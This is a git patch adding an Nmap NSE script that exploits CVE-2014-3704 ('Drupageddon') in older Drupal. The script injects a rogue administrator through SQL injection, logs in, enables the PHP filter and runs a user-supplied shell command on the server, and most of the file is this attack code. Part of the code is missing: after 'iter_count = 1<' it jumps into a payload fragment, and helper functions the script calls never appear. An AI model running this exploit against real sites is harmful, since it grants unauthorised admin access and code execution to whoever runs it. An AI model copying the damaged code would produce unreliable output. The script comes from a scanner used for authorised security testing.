From 0d47952611198ef6b1163f366dc03922d20b1475 Mon Sep 17 00:00:00 2001 From: Daniel Baumann Date: Wed, 17 Apr 2024 09:42:04 +0200 Subject: Adding upstream version 7.94+git20230807.3be01efb1+dfsg. Signed-off-by: Daniel Baumann --- scripts/http-vuln-cve2014-3704.nse | 430 +++++++++++++++++++++++++++++++++++++ 1 file changed, 430 insertions(+) create mode 100644 scripts/http-vuln-cve2014-3704.nse (limited to 'scripts/http-vuln-cve2014-3704.nse') diff --git a/scripts/http-vuln-cve2014-3704.nse b/scripts/http-vuln-cve2014-3704.nse new file mode 100644 index 0000000..2091a90 --- /dev/null +++ b/scripts/http-vuln-cve2014-3704.nse @@ -0,0 +1,430 @@ +local http = require "http" +local shortport = require "shortport" +local stdnse = require "stdnse" +local string = require "string" +local table = require "table" +local url = require "url" +local vulns = require "vulns" +local openssl = require "openssl" +local rand = require "rand" + +description = [[ +Exploits CVE-2014-3704 also known as 'Drupageddon' in Drupal. Versions < 7.32 +of Drupal core are known to be affected. + +Vulnerability allows remote attackers to conduct SQL injection attacks via an +array containing crafted keys. + +The script injects new Drupal administrator user via login form and then it +attempts to log in as this user to determine if target is vulnerable. If that's +the case following exploitation steps are performed: + +* PHP filter module which allows embedded PHP code/snippets to be evaluated is enabled, +* permission to use PHP code for administrator users is set, +* new article which contains payload is created & previewed, +* cleanup: by default all DB records that were added/modified by the script are restored. + +Vulnerability originally discovered by Stefan Horst from SektionEins. + +Exploitation technique used to achieve RCE on the target is based on exploit/multi/http/drupal_drupageddon Metasploit module. +]] + +--- +-- @see http-sql-injection.nse +-- +-- @usage +-- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.cmd="uname -a",http-vuln-cve2014-3704.uri="/drupal" +-- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.uri="/drupal",http-vuln-cve2014-3704.cleanup=false +-- +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | http-vuln-cve2014-3704: +-- | VULNERABLE: +-- | Drupal - pre Auth SQL Injection Vulnerability +-- | State: VULNERABLE (Exploitable) +-- | IDs: CVE:CVE-2014-3704 +-- | The expandArguments function in the database abstraction API in +-- | Drupal core 7.x before 7.32 does not properly construct prepared +-- | statements, which allows remote attackers to conduct SQL injection +-- | attacks via an array containing crafted keys. +-- | +-- | Disclosure date: 2014-10-15 +-- | Exploit results: +-- | Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux +-- | References: +-- | https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html +-- | https://www.drupal.org/SA-CORE-2014-005 +-- | http://www.securityfocus.com/bid/70595 +-- |_ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704 +-- +-- @args http-vuln-cve2014-3704.uri Drupal root directory on the website. Default: / +-- @args http-vuln-cve2014-3704.cmd Shell command to execute. Default: nil +-- @args http-vuln-cve2014-3704.cleanup Indicates whether cleanup (removing DB +-- records that was added/modified during +-- exploitation phase) will be done. +-- Default: true +--- + +author = "Mariusz Ziulek " +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"vuln", "intrusive", "exploit"} + +portrule = shortport.http + +--- Appends a new multipart/form-data part to a table +local function multipart_append_data(r, k, data, extra) + r[#r + 1] = string.format("content-disposition: form-data; name=\"%s\"", k) + if extra.filename then + r[#r + 1] = string.format("; filename=\"%s\"", extra.filename) + end + if extra.content_type then + r[#r + 1] = string.format("\r\ncontent-type: %s", extra.content_type) + end + if extra.content_transfer_encoding then + r[#r + 1] = string.format("\r\ncontent-transfer-encoding: %s", extra.content_transfer_encoding) + end + r[#r + 1] = string.format("\r\n\r\n%s\r\n", data) +end + +--- Creates multipart/form-data message as defined in RFC 2388 +local function multipart_build_body(content, boundary) + local r = {} + local k, v + for k, v in pairs(content) do + r[#r + 1] = string.format("--%s\r\n", boundary) + if type(v) == "string" then + multipart_append_data(r, k, v, {}) + elseif type(v) == "table" then + if v.data == nil then return nil end + local extra = { + filename = v.filename or v.name, + content_type = v.content_type or v.mimetype or "application/octet-stream", + content_transfer_encoding = v.content_transfer_encoding or "binary", + } + multipart_append_data(r, k, v.data, extra) + else + return nil + end + end + + r[#r + 1] = string.format("--%s--\r\n", boundary) + return table.concat(r) +end + +local function extract_CSRFtoken(content) + local pattern = 'name="form_token" value="(.-)"' + local value = string.match(content, pattern) + return value +end + +local function itoa64(index) + local itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' + return string.sub(itoa64, index + 1, index + 1) +end + +local function phpass_encode64(input) + local count = #input + 1 + local out = {} + local cur = 1 + + while cur < count do + local value = string.byte(input, cur) + cur = cur + 1 + table.insert(out, itoa64(value & 0x3f)) + + if cur < count then + value = value | (string.byte(input, cur) << 8) + end + table.insert(out, itoa64((value >> 6) & 0x3f)) + + if cur >= count then + break + end + cur = cur + 1 + + if cur < count then + value = value | (string.byte(input, cur) << 16) + end + table.insert(out, itoa64((value >> 12) & 0x3f)) + + if cur >= count then + break + end + cur = cur + 1 + + table.insert(out, itoa64((value >> 18) & 0x3f)) + end + + return table.concat(out) +end + +local function gen_passwd_hash(passwd) + local iter = 15 + local iter_char = itoa64(iter) + local iter_count = 1<" + local boundary = rand.random_alpha(16) + opt['header'] = {} + opt['header']["Content-Type"] = "multipart/form-data" .. "; boundary=" .. boundary + + local files = { + ['title'] = 'title', + ['form_id'] = 'article_node_form', + ['form_token'] = csrfToken, + ['body[und][0][value]'] = payload, + ['body[und][0][format]'] = 'php_code', + ['op'] = 'Preview', + } + local body = multipart_build_body(files, boundary) + + res = http.post(host, port, uri .. "?q=/node/add/article", opt, nil, body) + if res == nil then return nil end + + return res.body, pattern +end + +action = function(host, port) + + local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/' + local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil + local cleanup = nil + if stdnse.get_script_args(SCRIPT_NAME..".cleanup") == "false" then + cleanup = "false" + end + + local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port) + local vuln = { + title = 'Drupal - pre Auth SQL Injection Vulnerability', + state = vulns.STATE.NOT_VULN, + description = [[ + The expandArguments function in the database abstraction API in + Drupal core 7.x before 7.32 does not properly construct prepared + statements, which allows remote attackers to conduct SQL injection + attacks via an array containing crafted keys. + ]], + IDS = {CVE = 'CVE-2014-3704'}, + references = { + 'https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html', + 'https://www.drupal.org/SA-CORE-2014-005', + 'http://www.securityfocus.com/bid/70595', + }, + dates = { + disclosure = {year = '2014', month = '10', day = '15'}, + }, + } + + local user, passwd = do_sql_query(host, port, uri, nil) + + if user == nil or passwd == nil then + return vulnReport:make_output(vuln) + end + + stdnse.debug(1, string.format("logging in as admin user (username: '%s'; passwd: '%s')", user, passwd)) + + vuln.state = vulns.STATE.EXPLOIT + + local data = { + ['name'] = user, + ['pass'] = passwd, + ['form_id'] = 'user_login', + ['op'] = 'Log in', + } + + local res = http.post(host, port, uri .. "?q=/user/login", nil, nil, data) + + if res.status == 302 and res.cookies[1].name ~= nil then + + stdnse.debug(1, string.format("logged in as admin user (username: '%s'; passwd: '%s'). Target is vulnerable.", user, passwd)) + + if cmd ~= nil then + local session = {} + session.name = res.cookies[1].name + session.value = res.cookies[1].value + + set_php_filter(host, port, uri, session, false) + + set_permission(host, port, uri, session, false) + + local resp_content, pattern = trigger_exploit(host, port, uri, session, cmd) + + local cmdOut = nil + for m in string.gmatch(resp_content, pattern .. '([^"]*)' .. pattern) do + cmdOut = m + break + end + + if cmdOut ~= nil then + vuln.exploit_results = cmdOut + end + + -- cleanup: restore permission & disable php filter module + if cleanup == nil then + set_permission(host, port, uri, session, true) + set_php_filter(host, port, uri, session, true) + end + end + + else + vuln.state = vulns.STATE.LIKELY_VULN + vuln.check_results = "Account created but unable to log in." + end + + -- cleanup: remove admin user + if cleanup == nil then + do_sql_query(host, port, uri, user) + end + + return vulnReport:make_output(vuln) + +end -- cgit v1.2.3